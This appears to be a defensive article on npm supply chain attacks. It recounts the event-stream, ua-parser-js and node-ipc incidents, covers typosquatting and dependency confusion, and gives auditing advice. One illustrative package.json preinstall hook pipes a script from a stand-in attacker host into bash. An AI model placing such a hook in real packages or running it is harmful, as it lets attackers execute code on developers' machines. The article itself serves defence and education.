The npm registry has 2.5 million packages and a security model that relies primarily on trust. Maintainers publish directly to the registry, packages are downloaded billions of times per week, and a compromised account can push malicious code to the entire dependency tree of thousands of applications within hours.

This has happened. It continues to happen. Here is what you need to know.

The Attack Patterns

Compromised Maintainer Accounts

The most common attack: an attacker gains access to a legitimate maintainer’s npm account, publishes a new version with malicious code, and any project that installs or auto-updates gets the malicious version.

event-stream (2018): 2 million weekly downloads. A new maintainer was added by the original author, then published a version that stole bitcoin wallet data. Affected developers who had the copay-dash wallet in their dependency chain.

ua-parser-js (2021): 7 million weekly downloads. Three malicious versions published in quick succession that installed cryptocurrency miners and credential stealers on Windows and Linux.

node-ipc (2022): The maintainer intentionally added code to his own package that deleted files on computers with Russian or Belarusian IP addresses. This was a deliberate protest, not a compromise - the maintainer used his legitimate access to ship malware.

Typosquatting

Attackers publish packages with names similar to popular packages. Developers who mistype an install command get malware instead:

  • lodash is real. lodash-utils, lodash-utils2, lodash-utils3 have all contained malware
  • express is real. expres, expresjs, express-js have been malicious
  • react is real. Variants with extra characters or slight misspellings are regularly flagged

Typosquatting attacks are particularly effective because they never require compromising a real account.

Dependency Confusion

In 2021, security researcher Alex Birsan published a technique that exploited the way package managers resolve private vs public packages. By publishing public packages with the same names as internal packages used by companies like Apple, Microsoft, and PayPal, he was able to get those packages automatically installed in their build systems.

The attack exploited npm’s preference for higher-version public packages over lower-version private ones. Every major npm registry has since added controls, but the fundamental tension between public and private package namespacing remains.

Malicious Preinstall Scripts

npm packages can run arbitrary scripts on install via the preinstall, install, and postinstall hooks. A package that looks benign can execute malicious code the moment you run npm install.

{
  "scripts": {
    "preinstall": "curl http://attacker.com/steal.sh | bash"
  }
}

The --ignore-scripts flag prevents these from running during install, but many packages need install scripts for legitimate reasons (compiling native modules).

The Highest Risk Packages by Pattern

Rather than a list of specific packages (which changes constantly), these categories have historically had the highest incident rate:

Category Risk level Why
Color/text manipulation utilities High High download count, low maintenance scrutiny
CLI helper utilities High Often small, single-maintainer, high install scripts
Font/icon tools High Common typosquatting targets
Wallet/crypto utilities Very high Financial motivation for attackers
Unmaintained packages (last publish >3 years) High Accounts often abandoned, easier to compromise

Popular packages from large organizations (Facebook’s React, Vercel’s Next.js, Google’s Angular) have much better security practices and account security than solo maintainer packages.

How to Audit Your Dependencies

1. Run npm audit

npm audit

This checks against the npm advisory database. It does not catch everything (new compromises are not immediately listed) but catches known vulnerabilities quickly.

2. Check Maintainer Account Security

npm info package-name

Look at the maintainers list. A package with three maintainers that suddenly gains a fourth unknown maintainer is a warning sign.

3. Use Socket.dev

Socket.dev analyzes npm packages for malicious indicators that are not in the advisory database:

  • Packages that suddenly added outbound network calls
  • Packages with suspicious install scripts
  • Packages where the maintainer email changed recently
  • Packages with code obfuscation

The GitHub app runs on PRs that add or update dependencies.

4. Dependency Review

GitHub’s Dependency Review Action compares the dependency graph before and after a PR and flags packages with known vulnerabilities or suspicious characteristics.

5. Lock Your Package Versions

npm ci  # Use this instead of npm install in CI

npm ci installs exactly the versions in package-lock.json and fails if the lockfile does not exist. This prevents npm install from auto-updating to a compromised new version.

6. Reduce Attack Surface

The most effective long-term strategy: reduce the number of dependencies.

Ask for every dependency:

  • Do you actually need this? Can you write the functionality in 20 lines?
  • Does this package do one specific thing, or is it a utility grab bag?
  • Is it maintained by a large organization or a solo developer?

The is-even package (checking if a number is even) has 100,000 weekly downloads. This is a one-line function that should not be a dependency.

What npm Is Doing About This

npm has added:

  • Two-factor authentication requirements for packages with >1000 weekly downloads
  • Automated malware detection that scans new packages
  • Granular access tokens that limit what CI can publish
  • Package provenance - linking published packages to their source repository and CI pipeline

These improvements are meaningful but supply chain attacks continue. The ecosystem is too large and too permissive for the registry alone to prevent all incidents.

Bottom Line

npm supply chain attacks are not rare theoretical events. They happen to packages with millions of weekly downloads, from maintainers who have published for years without incident, and the damage can be significant.

Practical protections: lock your dependencies with package-lock.json and npm ci, run npm audit in CI, add Socket.dev to your dependency review process, and audit your dependency tree for single-maintainer utilities that you could replace with 10 lines of code. The packages with the worst security histories are overwhelmingly small utilities with minimal organizational oversight.